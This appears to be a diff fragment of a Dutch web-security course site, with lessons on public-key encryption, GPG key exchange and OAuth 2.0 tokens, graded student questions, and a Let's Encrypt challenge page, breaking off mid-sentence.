<img src="static/img/publicprivatekey.png">
|
||||
|
||||
<p>Als Alice nu een geheim bericht aan Bob wil versturen kan ze dit versleutelen door gebruik te maken van Bob's publieke sleutel.
|
||||
Het versleutelde bericht is enkel en alleen te ontsleutelen met Bob's bijbehorende private sleutel. Alice weet dus zeker
|
||||
dat alleen Bob het kan lezen.</p>
|
||||
|
||||
<img src="static/img/asym_alicebob.png">
|
||||
|
||||
<p>Als Alice het bericht met haar private key zou versleutelen ontstaat er een andere interessante eigenschap: Iedereen kan
|
||||
het bericht ontsleutelen, dat is te doen met de bijbehorende publieke sleutel. Maar je weet dan wel zeker dat het bericht
|
||||
van Alice afkomstig is, want alleen zij heeft de private sleutel waarmee het bericht in de eerste plaats versleuteld is.
|
||||
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe kan Alice één bericht naar Bob versturen zodat de volgende dingen tegelijkertijd gelden:
|
||||
<ol>
|
||||
<li>Alleen Bob kan het bericht lezen</li>
|
||||
<li>Bob weet zeker dat het bericht van Alice is</li>
|
||||
</ol>
|
||||
Leg uit in welke volgorde Alice en Bob encrypten, decrypten en versturen en met welke sleutels. Je mag er van uit gaan dat
|
||||
ze elkaars publieke sleutel weten en dat Bob niet de enige is met Alice's publieke sleutel.
|
||||
</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_securesend.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_securesend">{{ answers.answer_encryption_securesend.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> het is natuurlijk mogelijk om een versleuteld bericht nog een keer te versleutelen.</p>
|
||||
|
||||
<img src="static/img/whatsapp.png" class="screenshot center-block" style="width: 70%">
|
||||
|
||||
<p>WhatsApp beweert dat alle berichten end-to-end versleuteld verstuurd worden. Daarmee zou niemand de berichten kunnen lezen
|
||||
die via hun servers verstuurd worden, zelfs zij zelf niet. Alleen de afzender en de ontvanger kunnen de berichten lezen.</p>
|
||||
|
||||
<p>Om dat te controleren kan je bij de contactinformatie van elke chat klikken op 'Encryptie', je krijgt dan een QR code en
|
||||
een lijst van cijfers. Als de cijfers allemaal hetzelfde zijn zou je zeker moeten weten dat berichtjes alleen door jou
|
||||
en de andere persoon gelezen kunnen worden.</p>
|
||||
|
||||
<img src="static/img/whatsapp_qr.png" class="screenshot center-block" style="width: 50%">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Zoek op internet welke informatie er in de QR code staat. Hoe kan WhatsApp met die informatie garanderen dat alleen jullie
|
||||
twee de chat kan lezen?</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_whatsapp.points max="10" %}
|
||||
<textarea class="question-input" name="answer_encryption_whatsapp">{{ answers.answer_encryption_whatsapp.string }}</textarea>
|
||||
</div>
|
||||
|
||||
|
||||
<h2>GPG</h2>
|
||||
|
||||
<p>Genoeg theorie, we gaan aan de slag met concrete encryptiealgoritmes. En wel met de
|
||||
<a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy#OpenPGP" target="_blank">OpenPGP</a> (Pretty Good Privacy) standaard. Een veel gebruikt open source programma die deze standaard implementeert
|
||||
is
|
||||
<a href="http://en.wikipedia.org/wiki/GNU_Privacy_Guard" target="_blank">GPG</a> (GNU Privacy Guard). Met dit programma kunnen we sleutelparen maken, bestanden encrypten/decrypten en versleutelde
|
||||
berichten versturen.</p>
|
||||
|
||||
<p>Om het makkelijker te maken om publieke sleutels uit te wisselen kan GPG gebruik maken van een
|
||||
<b>keyserver</b>. Dit is een speciale server die een lijst van publieke sleutels bijhoud. Voor onderstaande opdrachten hebben
|
||||
we onze eigen keyserver ingericht op websec.paulwagener.nl.
|
||||
<b>Deze werkt niet als je de opdrachten thuis maakt</b>. De firewall blokkeert poort 11371 waarop deze server werkt.</p>
|
||||
|
||||
<p>GPG kan je
|
||||
<a href="http://www.gpg4win.org/" target="_blank">hier</a> voor Windows downloaden, na het installeren kan je in je CMD alle commando's typen. Als je Linux of Mac OS X
|
||||
gebruikt hoef je niks te doen, GPG is standaard geïnstalleerd.</p>
|
||||
|
||||
<img src="static/img/gpg.png">
|
||||
|
||||
<code class="terminal">gpg --help</code>
|
||||
|
||||
<p>Met bovenstaande commando zie je alle dingen die je met GPG kan doen. We gaan niet meer alle commando's voorkauwen, je
|
||||
bent inmiddels handig genoeg om die zelf te bedenken. Een paar handige opties om te onthouden:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>--gen-key</b> Maak een nieuw publiek/private sleutelpaar.</li>
|
||||
<li>
|
||||
<b>--list-keys</b> Bekijk alle sleutels die je lokaal hebt.</li>
|
||||
<li>
|
||||
<b>--sign</b> Gebruik je eigen private sleutel gebruiken om een bestand te encrypten.</li>
|
||||
<li>
|
||||
<b>--decrypt</b> Gebruik iemand anders publieke sleutel om een bestand te decrypten.</li>
|
||||
<li>
|
||||
<b>--encrypt</b> Gebruik iemand anders publieke sleutel om een bestand te encrypten.</li>
|
||||
<li>
|
||||
<b>--recv-keys --keyserver websec.paulwagener.nl
|
||||
<i>sleutel-ID</i>
|
||||
</b> Haal een publieke sleutel op van de onze keyserver</li>
|
||||
<li>
|
||||
<b>--send-keys --keyserver websec.paulwagener.nl
|
||||
<i>sleutel-ID</i>
|
||||
</b> Verstuur een publieke sleutel naar onze keyserver</li>
|
||||
<li>
|
||||
<b>--sign-key</b> Signeer een publieke sleutel met jouw eigen private sleutel</li>
|
||||
<li>
|
||||
<b>-a</b> Output in ASCII base64 formaat</li>
|
||||
<p>
|
||||
|
||||
<p>Haal van de keyserver onze publieke sleutel op met sleutel-ID
|
||||
<b>B69F77232CE5546445137725D555F2F5FA9E1C5A</b> (GPG noemt dit ook wel de user-ID). We hebben met onze private sleutel
|
||||
een tekst versleuteld in
|
||||
<a href="static/secret.txt.asc" target="_blank">dit bestand</a>. Gebruik de publieke sleutel om dit bestand te ontsleutelen.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Welke zin hebben we versleuteld?</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_decrypt_public_key.points max="5" %}
|
||||
<input class="question-input" name="answer_encryption_decrypt_public_key" value="{{ answers.answer_encryption_decrypt_public_key.string }}">
|
||||
</div>
|
||||
|
||||
<p>Gebruik onze publieke sleutel om zelf een tekstbestandje te versleutelen. Zorg ervoor dat ergens in de tekst van dit
|
||||
bestandje de geheime code "555-0690" en je e-mailadres staat.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de inhoud van het versleutelde bestand (inclusief begin en einde
|
||||
<code>-----BEGIN PGP MESSAGE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_encrypt_public_key.points max="5" %}
|
||||
<textarea class="question-input" name="answer_encryption_encrypt_public_key">{{ answers.answer_encryption_encrypt_public_key.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Het is met GPG mogelijk om meerdere ontvangers op te geven. Dat hoeft voor deze opdracht niet. Als
|
||||
je alle (1 dus) ontvangers hebt opgegeven moet je een lege regel opgeven om aan te geven dat je verder wil gaan.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Gebruik onze sleutel-ID (ook wel user-id) die we eerder al hebben genoemd.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Krijg je een binair bestand? Dan ben je waarschijnlijk vergeten om de ASCII base64 optie aan te zetten
|
||||
(zie lijst van opties hierboven)</p>
|
||||
|
||||
<p>Tijd om je eigen sleutels te gebruiken! Maak je eigen publieke/private sleutelpaar en verstuur de publieke sleutel
|
||||
naar de websec.paulwagener.nl keyserver.
|
||||
<b>Gebruik je e-mailadres voor het e-mailveld</b>.</p>
|
||||
|
||||
<p>Vergeet niet om je publieke sleutel naar de websec.paulwagener.nl keyserver te sturen zodat anderen die kunnen opzoeken
|
||||
en geheime berichten naar je kunnen sturen (en zodat wij de opdrachten kunnen nakijken, anders krijg je de punten
|
||||
voor onderstaande opdracht niet!)</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Versleutel een bestandje met de tekst "Security 2" met je eigen private sleutel. Plak de versleutelde tekst in het
|
||||
tekstveld (inclusief begin en einde
|
||||
<code>-----BEGIN PGP MESSAGE-----</code>)</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_encrypt_with_own_private.points max="5" %}
|
||||
<textarea class="question-input" name="answer_encryption_encrypt_with_own_private">{{ answers.answer_encryption_encrypt_with_own_private.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<h3>Web of Trust</h3>
|
||||
|
||||
<p>Probleempje: elke mafketel kan sleutels aanmaken en daar elke naam bij zetten die hij maar wil. Hoe zorgen we ervoor
|
||||
dat de naam en e-mailadres die bij een sleutel staan ook echt klopt? Dit probleem heeft GPG opgelost door het mogelijk
|
||||
te maken om met jouw private sleutel een
|
||||
<b>handtekening</b> (signature) te maken voor een publieke sleutel van iemand anders. Je geeft daarmee aan dat je gecontroleerd
|
||||
hebt dat de naam die bij een sleutel staat klopt en dat je die persoon vertrouwd.</p>
|
||||
|
||||
<p>Op die manier ontstaat er een web van vertrouwensrelaties. En als jij Tony vertrouwd, en Tony vertrouwd Steve. Dan
|
||||
kan je indirect ervan uitgaan dat de naam van de sleutel van Steve klopt. Op die manier kan je indirect een hele
|
||||
hoop sleutels vertrouwen. Op onze keyserver zie je bijvoorbeeld
|
||||
<a href="http://websec.paulwagener.nl:11371/pks/lookup?op=vindex&search=0XB69F77232CE5546445137725D555F2F5FA9E1C5A" target="_blank">wie er allemaal direct onze sleutel vertrouwd.</a>
|
||||
</p>
|
||||
|
||||
<img src="static/img/web_of_trust.gif">
|
||||
|
||||
<p>Als je je eigen sleutel wil gebruiken om andere sleutels te ondertekenen/vertrouwen doe je dat door eerst een publieke
|
||||
sleutel te downloaden van de keyserver, dan deze lokaal te ondertekenen met je eigen sleutel en vervolgens de publieke
|
||||
sleutel weer opnieuw te versturen naar de keyserver.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Gebruik je eigen sleutel om onze sleutel (sleutel-ID: B69F77232CE5546445137725D555F2F5FA9E1C5A) en de sleutel van
|
||||
drie medestudenten te ondertekenen. Upload je ondertekening terug naar de keyserver. Plak je eigen sleutel-ID als
|
||||
antwoord hier.</span>
|
||||
{% include "points.html" with points=answers.answer_encryption_sign_keys.points max="5" %}
|
||||
<input class="question-input" name="answer_encryption_sign_keys" value="{{ answers.answer_encryption_sign_keys.string }}">
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Handtekeningen worden pas verstuurd als je de sleutel die je hebt ondertekend weer terugstuurt naar
|
||||
de server.</p>
|
||||
|
||||
<p>Heb je de smaak te pakken? Dan kan je je eigen publieke sleutel ook doorsturen naar andere
|
||||
<a href="http://en.wikipedia.org/wiki/Key_server_%28cryptographic%29" target="_blank">keyservers</a> en laten ondertekenen bij hippe
|
||||
<a href="http://en.wikipedia.org/wiki/Key_signing_party" target="_blank">key signing parties</a>.</p>
|
||||
|
||||
<a href="http://xkcd.com/364/" target="_blank">
|
||||
<img src="http://imgs.xkcd.com/comics/responsible_behavior.png">
|
||||
</a>
|
||||
@@ -0,0 +1,63 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<title>Security Workshop</title>
|
||||
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css">
|
||||
<link href="/static/css/style.css" rel="stylesheet" type="text/css">
|
||||
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script>
|
||||
<script type="text/javascript" src="/static/js/quiz.js" defer></script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<form method="POST" id="form-quiz">
|
||||
<div class="row-fluid">
|
||||
<div class="well span3" id="menu">
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<a href="/?sql">SQL Injection</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?xss">Cross-site Scripting</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?path">Insecure Direct Object References</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?wachtwoorden">Wachtwoorden</a>
|
||||
</li>
|
||||
|
||||
<!--
|
||||
<li>
|
||||
<a href="/?oauth">OAuth</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?certificaten">Certificaten</a>
|
||||
</li>
|
||||
<li>
|
||||
<a href="/?encryptie">Encryptie</a>
|
||||
</li>
|
||||
-->
|
||||
</ul>
|
||||
|
||||
Moeilijkheidsgraad:
|
||||
<select id="difficulty">
|
||||
<option value="easy">Hints zichtbaar</option>
|
||||
<option value="normal">Hints optioneel</option>
|
||||
<option value="hard">Geen hints</option>
|
||||
</select>
|
||||
|
||||
<p>
|
||||
<a href="/?vm">Download VM</a>
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div id="quiz" class="span8 offset3">
|
||||
</div>
|
||||
</form>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,56 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<link rel="stylesheet" href="/static/css/semantic.min.css">
|
||||
<style type="text/css">
|
||||
body {
|
||||
margin-top: 20px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<h1 class="ui centered aligned header">Let's Encrypt</h1>
|
||||
|
||||
<div class="ui three column centered grid">
|
||||
<div class="column ui">
|
||||
<form method="POST" action="" class="ui form primary center aligned segment">
|
||||
{% csrf_token %} {% if challenge %}
|
||||
<p>Vanaf
|
||||
<br>
|
||||
<a href="http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}">http://websec.paulwagener.nl/.well-known/acme-challenge/{{challenge}}</a>
|
||||
<br> wordt de komende 10 minuten de volgende tekst getoond:
|
||||
<br>
|
||||
<code>{{challenge}}.{{response}}</code> {% elif error %}
|
||||
<div class="ui negative message">
|
||||
<p>{{error}}</p>
|
||||
</div>
|
||||
|
||||
{% else %}
|
||||
<div class="field">
|
||||
<label for="domain">Challenge-response</label>
|
||||
<div class="ui huge input">
|
||||
<textarea name="challenge-response" value="" style="text-align: center;" placeholder=""></textarea>
|
||||
</div>
|
||||
<p>Vul hier de code in die Let's Encrypt van je vraagt om te geven via
|
||||
<br>
|
||||
<code>http://websec.paulwagener.nl/.well-known/acme-challenge/</code>
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<button type="submit" class="ui big blue submit button">Opslaan</button>
|
||||
|
||||
{% endif %}
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,371 @@
|
||||
{% extends "base.html" %} {% block content %}
|
||||
<h1>OAuth</h1>
|
||||
|
||||
<img src="static/img/oauth.png" style="float: right">
|
||||
|
||||
<p>Heb je wel eens gebruik gemaakt van een API van Twitter, Facebook of Google? Dan heb je waarschijnlijk te maken gehad
|
||||
<strong>OAuth</strong>, de technologie die je toestemming verleent om gebruik te maken van die API's.</p>
|
||||
|
||||
<p>Er zijn veel misverstanden over OAuth waardoor het vaak verkeerd begrepen wordt en er veel frictie ontstaat ontstaat tussen
|
||||
de API en de ontwikkelaar. Het is bijvoorbeeld niet ontworpen om enkel mee in te loggen, hoewel het daar wel veel voor
|
||||
gebruikt wordt. Deze week gaan we kijken naar het probleem van authoriseren en hoe OAuth dat oplost.</p>
|
||||
|
||||
<p>We gaan deze week oefenen met OAuth 2.0. Er is ook versie 1.0 en 1.0a die heel anders werken (hoewel ze qua concept wel gelijk
|
||||
zijn). Let altijd op met welke versie je te maken hebt, je kan een 2.0 client niet laten praten met een 1.0 server en vice
|
||||
versa.
|
||||
</p>
|
||||
|
||||
<p>We nemen als voorbeeld de Poespas bank. Een simpele website waarmee gebruikers kunnen inloggen met een gebruikersnaam en
|
||||
wachtwoord. Als ze ingelogd zijn zien ze hun huidige saldo. De bank heeft een simpele API waarmee gebruikers hun saldo
|
||||
kunnen checken.</p>
|
||||
|
||||
<h3>Simpele authenticatie</h3>
|
||||
|
||||
<p>Een simpele manier om de saldo API te implementeren is om rechtstreeks je gebruikersnaam en wachtwoord mee te geven in de
|
||||
API request. De server checkt of de inloggegevens correct zijn en geeft de saldo informatie van die gebruiker terug. Uiteraard
|
||||
moet dit alles over een beveiligde verbinding gebeuren, maar als dat zo is is het in theorie een veilige oplossing.</p>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/auth_basic.png">
|
||||
</figure>
|
||||
|
||||
<img src="static/img/http_auth.png" style="float: right; width: 30%; margin-left: 10px">
|
||||
|
||||
<p>Veel echte API's werkte vroeger op deze manier (vaak op basis van
|
||||
<a href="http://en.wikipedia.org/wiki/Basic_access_authentication" target="_blank">HTTP Authentication</a>). En zolang alles over een beveiligde verbinding tussen de gebruiker en de server loopt is alles
|
||||
veilig. De problemen beginnen echter als een derde partij betrokken raakt bij onze API.</p>
|
||||
|
||||
<p>Een startup heeft de
|
||||
<i>BudgetApp</i> ontwikkelt, een nieuwe app die laat zien hoeveel saldo je per maand op je rekening hebt staan. Ze maken gebruik
|
||||
van de Poespas API om het saldo van de gebruiker op te halen. Maar om die API te kunnen gebruiken hebben ze de gebruikersnaam
|
||||
en het wachtwoord van de gebruiker nodig. Op hun inlogscherm vragen ze daarom om de inloggegevens zodat de app goed kan
|
||||
werken.
|
||||
</p>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/auth_basic_app.png">
|
||||
</figure>
|
||||
|
||||
<p>Het probleem met deze manier van authenticeren wordt nu snel duidelijk: de app krijgt de gebruikersnaam en wachtwoord van
|
||||
de gebruiker in handen. Daarmee kunnen ze niet alleen het saldo ophalen met de API. Maar ook alle andere dingen die de
|
||||
gebruiker kan zoals bijvoorbeeld inloggen, geld overschrijven en het wachtwoord veranderen.</p>
|
||||
|
||||
|
||||
<p>Om deze situatie te voorkomen willen we een authorisatiesysteem waarbij de app wel een sleutel krijgt om de API te gebruiken,
|
||||
maar niet het wachtwoord van de gebruiker zelf. Dat moet strict geheim blijven.</p>
|
||||
|
||||
<h3>Access tokens</h3>
|
||||
|
||||
<img src="static/img/access_token.png" class="center-block" style="float: right; width: 25%">
|
||||
<p>OAuth lost dit probleem op door het concept van een
|
||||
<b>access token</b>. Een lange string waarmee je aangeeft dat een bepaalde gebruiker jou toestemming heeft gegeven om de API
|
||||
te mogen gebruiken. Deze token geef je bij elke aanroep van de API mee in een speciale 'Authorization' header, zodat de
|
||||
server deze kan verifiëren.</p>
|
||||
|
||||
<p>De app heeft nu niet meer de gebruikersnaam en wachtwoord van de gebruiker nodig, de access token is voor de bank een veilige
|
||||
manier om toegang tot de API te geven. En omdat een access token maar tijdelijk geldig is (vaak maar een uur) blijft de
|
||||
schade relatief beperkt als een hacker hier toegang tot krijgt.</p>
|
||||
|
||||
<img src="static/img/oauth_facebook.png" class="center-block">
|
||||
|
||||
<p>Access tokens kan je aanvragen door de gebruiker te sturen naar een speciale authorisatie pagina. Je hebt ze vast wel eens
|
||||
eerder gezien: de pagina's waar je moet inloggen en op 'Geef toestemming' moet klikken. Zodra je op die knop klikt wordt
|
||||
je weer teruggestuurd naar de oorspronkelijke app of webapplicatie met de access token in de URL.</p>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/auth_access_token.png" class="center-block">
|
||||
</figure>
|
||||
|
||||
<p>Je kan ook een speciale
|
||||
<b>authorisatie code</b> terugkrijgen in plaats van een access token als je dat in een parameter aanzet. Deze kan je inwisselen
|
||||
voor een access token en een refresh token, een speciale token waarmee je nieuwe access tokens kan maken. Handig als je
|
||||
langer dan een uur van de API gebruik wil blijven maken. Met al die verschillende tokens gaan we oefenen in de opdrachten.</p>
|
||||
|
||||
<h3>Opdrachten</h3>
|
||||
|
||||
<p>Deze site heeft ook een API die te vinden is op:
|
||||
<a href="/api/hello" target="_blank">/api/hello</a>. Die mag je uiteraard alleen gebruiken als je een access token hebt, als je gewoon op de link klikt krijg
|
||||
je een lege 403 pagina (Forbidden). We gaan alle stappen doorlopen om te komen tot de almachtige access token waarmee we
|
||||
de API kunnen aanroepen.</p>
|
||||
|
||||
<p>De eerste stap bij een OAuth provider is om een client aan te maken. Daarmee weet de server altijd wie het is die de API
|
||||
aanroep doet. Voor deze opdracht kan je die aanmaken op
|
||||
<a href="/o/applications/" target="_blank">deze pagina</a>. Maak je eigen applicatie met de volgende gegevens:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>Name</b>: mag je zelf kiezen</li>
|
||||
<li>
|
||||
<b>Client id</b>: mag je zelf kiezen, maar moet wel uniek zijn</li>
|
||||
<li>
|
||||
<b>Client secret</b>: mag je zelf kiezen</li>
|
||||
<li>
|
||||
<b>Client type</b>: Confidential</li>
|
||||
<li>
|
||||
<b>Authorization grant type</b>: Implicit</li>
|
||||
<li>
|
||||
<b>Redirect uris</b>: http://example.com/ (mag ook een eigen URL zijn)</li>
|
||||
</ul>
|
||||
|
||||
<figure>
|
||||
<img src="static/img/oauth_register.png" style="width: 50%">
|
||||
</figure>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de client_id die je hebt geregistreerd?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_client_id.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_client_id" value="{{ answers.answer_oauth_client_id.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p>Elke OAuth server heeft twee endpoints (lees: URL's): de authorisatie endpoint en de token endpoint. Hieronder zie je de
|
||||
endpoints van een aantal bekende servers:</p>
|
||||
|
||||
<table border="1" cellpadding="4">
|
||||
<tr>
|
||||
<th>Service</th>
|
||||
<th>Authorization endpoint</th>
|
||||
<th>Token endpoint</th>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Deze cursus</td>
|
||||
<td>http://websec.paulwagener.nl/o/authorize/</td>
|
||||
<td>http://websec.paulwagener.nl/o/token/</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>GitHub</td>
|
||||
<td>https://github.com/login/oauth/authorize</td>
|
||||
<td>https://github.com/login/oauth/access_token</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Google</td>
|
||||
<td>https://accounts.google.com/o/oauth2/auth</td>
|
||||
<td>https://accounts.google.com/o/oauth2/token</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Facebook</td>
|
||||
<td>https://www.facebook.com/dialog/oauth</td>
|
||||
<td>https://graph.facebook.com/oauth/access_token</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p>De authorisatie endpoint is de URL waar je de gebruiker heenstuurt om hem te laten inloggen op de website en om op 'Toestaan'
|
||||
te laten klikken. Deze site redirect daarna weer terug naar je eigen site / app met een speciale authorisatie code. De
|
||||
token endpoint is de OAuth API waar we al onze access tokens uit kunnen halen, maar dan hebben we wel eerst die authorisatie
|
||||
code nodig.</p>
|
||||
|
||||
<p>Om te authoriseren hebben we de volgende URL parameters nodig: (
|
||||
<a href="http://tools.ietf.org/html/rfc6749#section-4.1.1" target="_blank">documentatie</a>)</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>response_type</b>: "token" of "code". Met "token" krijg je direct een access token in de redirect URL. Handig als je
|
||||
de API maar 1x hoeft te gebruiken. Minder handig als je de API langer wilt blijven gebruiken, want access tokens blijven
|
||||
vaak niet langer dan een uur geldig. Dan moet je de gebruiker elk uur opnieuw laten inloggen. Met "code" krijg je een
|
||||
authorisatie code die je kan inwisselen voor een speciale refresh_token, daar kan je tot in de oneindigheid nieuwe access
|
||||
tokens mee maken.
|
||||
<i>Voor deze opdracht gebruiken we "token"</i>.</li>
|
||||
<li>
|
||||
<b>client_id</b>: Jouw gekozen client id</li>
|
||||
<li>
|
||||
<b>redirect_uri</b>: optioneel, en eigenlijk ook redundant. Want die geef je ook vaak op als je je registreert als client
|
||||
bij de provider. Als de gebruiker op 'Toestaan' heeft geklikt wordt hij naar deze URL teruggestuurt met de authorisatie
|
||||
code of access token</li>
|
||||
<li>
|
||||
<b>scope</b>: optioneel, kan je mee aangeven welke gedeeltes van de API je wilt kunnen gebruiken</li>
|
||||
<li>
|
||||
<b>state</b>: optioneel, een string die je kan meegeven die ook weer wordt teruggestuurd als de gebruiker wordt terug geredirect.
|
||||
Kan handig zijn.</li>
|
||||
</ul>
|
||||
|
||||
<p>Voor deze site is de authorisatie URL:
|
||||
<br>
|
||||
<span class="url">http://websec.paulwagener.nl/o/authorize/?client_id=(CLIENT_ID)&response_type=token</span>
|
||||
</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Authoriseer met je eigen client id. Welke access token heb je gekregen?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_implicit_access_token.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_implicit_access_token" value="{{ answers.answer_oauth_implicit_access_token.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Let je wel op dat er een slash staat achter
|
||||
<code>authorize</code> in de URL?</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoeveel seconden is deze token code geldig?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_implicit_access_token_expires.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_implicit_access_token_expires" value="{{ answers.answer_oauth_implicit_access_token_expires.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p>De access token kan je nu gebruiken om een request te doen naar
|
||||
<a href="/api/hello" target="_blank">/api/hello</a>. De token geef je mee door de volgende HTTP header mee te sturen:</p>
|
||||
|
||||
<code class="pre">Authorization: Bearer nW8JkemabiKpxvD1Yen3FCcWM3k7vr</code>
|
||||
|
||||
<p>Uiteraard moet je je eigen access token dan gebruiken. Er zijn vele tools waarmee je HTTP requests mee kan maken met je eigen
|
||||
headers en data. In de screenshots gebruiken we
|
||||
<a href="https://chrome.google.com/webstore/detail/postman-rest-client-packa/fhbjgbiflinjbdggehcddcbncdddomop" target="_blank">Postman</a>.</p>
|
||||
|
||||
<img src="static/img/oauth_call_api.png" class="center-block screenshot" style="width: 80%; margin-top: 20px">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de geheime code die gestuurd wordt als je de API aanroept?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_api_hello.points max="10" %}
|
||||
<input class="question-input" name="answer_oauth_api_hello" value="{{ answers.answer_oauth_api_hello.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Let op dat je de Authorization data als
|
||||
<i>header</i> meestuurt. Via de POST form-data of als URL parameter gaat niet werken!</p>
|
||||
|
||||
|
||||
<h3>Web applicaties</h3>
|
||||
|
||||
<p>Wat doen we als de token verloopt en je nog steeds de API wil gebruiken? Je kan natuurlijk de gebruiker opnieuw naar de authorisatie
|
||||
URL sturen voor een nieuwe access token. Maar als jouw web applicatie dagelijks de gebruiker meerdere keren per dag redirect
|
||||
om op 'Geef toestemming' te klikken wordt die daar helemaal gek van.</p>
|
||||
|
||||
<p>OAuth heeft hier de zogenaamde refresh tokens voor verzonnen. Dit is een uitgebreidere manier om access tokens te krijgen
|
||||
en is meer geschikt voor webapplicaties. We moeten wel helemaal terug naar het begin en alle stappen net iets anders doen:</p>
|
||||
|
||||
<ol>
|
||||
<li>Ga naar
|
||||
<a href="/o/applications/" target="_blank">/o/applications/</a> en verander jouw applicatie zodat deze nu als
|
||||
<b>Authorization grant type</b> de waarde
|
||||
<b>Authorization code</b> heeft.
|
||||
<br>
|
||||
<img src="static/img/oauth_set_grant_type.png" class="screenshot" style="width: 40%">
|
||||
</li>
|
||||
|
||||
<li>Ga opnieuw naar dezelfde authorisatie URL van vorige keer, maar nu met
|
||||
<b>response_type=code</b> in plaats van response_type=token</li>
|
||||
|
||||
<li>Je wordt nu teruggestuurd met een zogenaamde authorisatie code</li>
|
||||
</ol>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Welke authorisatie code heb je gekregen?</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_authorization_code.points max="5" %}
|
||||
<input class="question-input" name="answer_oauth_authorization_code" value="{{ answers.answer_oauth_authorization_code.string }}"></input>
|
||||
</div>
|
||||
|
||||
<img src="static/img/oauth_authorization_code.png" style="width: 25%; float: right">
|
||||
|
||||
|
||||
<p>Deze authorisatie code is nog geen access token op zich, maar kan een webapplicatie wel inwisselen voor een access token.
|
||||
Dit doet het door een POST request te doen naar de token endpoint. We moeten daarvoor de volgende parameters meesturen:</p>
|
||||
|
||||
<ul>
|
||||
<li>
|
||||
<b>grant_type</b>: Moet de waarde "authorization_code" hebben.</li>
|
||||
<li>
|
||||
<b>code</b>: De authorisatie code die we hebben gekregen van de authorisatie endpoint.</li>
|
||||
<li>
|
||||
<b>redirect_uri</b>: Dezelfde URL die we eerder als redirect_uri hebben gebruikt.</li>
|
||||
<li>
|
||||
<b>client_id</b>: De client id die je hebt verzonnen</li>
|
||||
<li>
|
||||
<b>client_secret</b>: De client secret die je hebt verzonnen</li>
|
||||
</ul>
|
||||
|
||||
<p>Doe er niet te lang over, authorisatie codes verlopen vaak al na enkele minuten. Als je het goed doet krijg je een response
|
||||
met daarin de refresh_token (en een gratis access_token!). Als je een
|
||||
<code>invalid_grant</code> error krijgt betekent dat dat jouw code verlopen is en dat je een nieuwe moet aanvragen. Als je een
|
||||
<code>invalid_client</code> error krijgt moet je goed controleren of je redirect_uri, client_id en client_secret allemaal goed staan ingesteld. En
|
||||
